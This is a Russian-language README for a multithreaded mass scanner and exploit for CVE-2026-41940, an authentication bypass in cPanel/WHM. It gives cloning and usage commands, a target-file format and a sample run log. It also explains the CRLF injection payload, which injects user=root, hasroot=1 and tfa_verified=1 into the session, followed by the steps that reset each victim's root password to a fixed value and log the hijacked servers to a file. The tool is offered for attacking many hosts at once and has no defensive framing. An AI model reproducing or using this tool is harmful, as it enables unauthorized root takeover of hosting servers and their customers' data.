
Массовый сканер и инструмент массовой эксплуатации для CVE-2026-41940 на cPanel/WHM, созданный для автоматической проверки целей и высокоскоростного многопоточного выполнения.
CVE-2026-41940 — это критическая уязвимость обхода аутентификации в WHM/cPanel, позволяющая злоумышленникам обойти аутентификацию и получить root-доступ к серверу без действительных учётных данных. Уязвимость использует CRLF-инъекцию в механизме управления сессиями для внедрения вредоносных параметров сессии.
Этот инструмент предоставляет возможности массовой эксплуатации с поддержкой многопоточности для одновременного тестирования нескольких целей, с интеллектуальным обнаружением успеха и автоматической фильтрацией недействительных целей.
| Возможность | Описание |
|---|---|
| ✅ Массовая эксплуатация | Сканирование и эксплуатация нескольких целей из файла списка |
| 🚀 Многопоточность | Настраиваемое количество потоков для более быстрого сканирования (по умолчанию: 15) |
| 🔐 Автосмена пароля | Меняет root-пароль на Jenderal92 при успешной эксплуатации |
| 🛡️ Умное обнаружение успеха | Автоматически определяет различные форматы ответов WHM API |
| ⚠️ Фильтрация ошибок лицензии | Исключает цели с ошибками «недопустимая/невозможно прочитать лицензию» |
| 📝 Структурированный вывод | Сохраняет только подтверждённые успехи в формате domain:port|user|pass |
| 🛡️ Поддержка SSL/TLS | Автоматическая обработка самоподписанных сертификатов |
| 🔄 Управление сессиями | Автоматическое извлечение сессии, внедрение cookie и обработка токенов |
| ⏱️ Контроль таймаута | Настраиваемый таймаут соединения (по умолчанию: 15 секунд) |
| 🔍 Проверка перед подключением | Проверка доступности порта перед попыткой эксплуатации |
| 📊 Прогресс в реальном времени | Показывает подробный прогресс каждого этапа эксплуатации |
pip install requests urllib3 futures
Или используйте requirements.txt:
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# Клонирование репозитория
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# Установка зависимостей
pip install -r requirements.txt
# Сделать исполняемым (Linux/Mac)
chmod +x CVE-2026-41940.py
Создайте файл targets.txt с одной целью на строку:
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
Примечание: Порт
2087— порт WHM по умолчанию. Если не указан, автоматически будет использоваться порт 2087. Префикс HTTP/HTTPS будет добавлен автоматически, если отсутствует.
python2 CVE-2026-41940.py targets.txt
# Использовать 5 одновременных потоков
python2 CVE-2026-41940.py targets.txt --threads 5
# Использовать 20 потоков для более быстрого сканирования
python2 CVE-2026-41940.py targets.txt --threads 20
# Переопределить заголовок Host для всех целей
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# Установить таймаут 30 секунд для медленных соединений
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
| Аргумент | Описание | По умолчанию | Обязательно |
|---|---|---|---|
list_file | Файл, содержащий список целей (по одной на строку) | - | ✅ Да |
--threads | Количество одновременных потоков | 15 | ❌ Нет |
--hostname | Переопределить заголовок Host для всех целей | Автоопределение | ❌ Нет |
--timeout | Таймаут соединения в секундах | 15 | ❌ Нет |
res.txt)Сохраняются только подтверждённые успешные эксплойты. Цели с ошибками лицензии, неудачной сменой пароля или проблемами с соединением автоматически исключаются.
Формат:
domain:port|root|Jenderal92
Пример вывода:
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
Следующие цели НЕ будут сохранены в res.txt:
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED
==================================================
[*] Checking target: 127.0.0.1
Original input: 127.0.0.1
Normalized: https://127.0.0.1:2087
Port 2087: OPEN
Testing connection... OK (HTTP 200)
[0] hostname = example.com
[1] minting a preauth session...
session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] attempting to change the root password
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!
[✓] SUCCESS & SAVED: 127.0.0.1:2087
Saved to res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4
[+] Results saved to res.txt
Successfully exploited targets (password changed to Jenderal92):
✓ 127.0.0.1:2087
Эксплойт состоит из 4 основных этапов с интеллектуальной проверкой:
[1] minting a preauth session...
/login/?login_only=1 с недействительными учётными даннымиwhostmgrsession из ответа сервера,<obhex>[2] sending the CRLF injection...
Authorization: Basic, содержащим вредоносную нагрузкуroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) внедряют поддельные параметры сессииLocation, содержащим cp_security_token[3] firing do_token_denied to propagate...
/scripts2/listaccts с манипулированным cookiedo_token_denied в WHM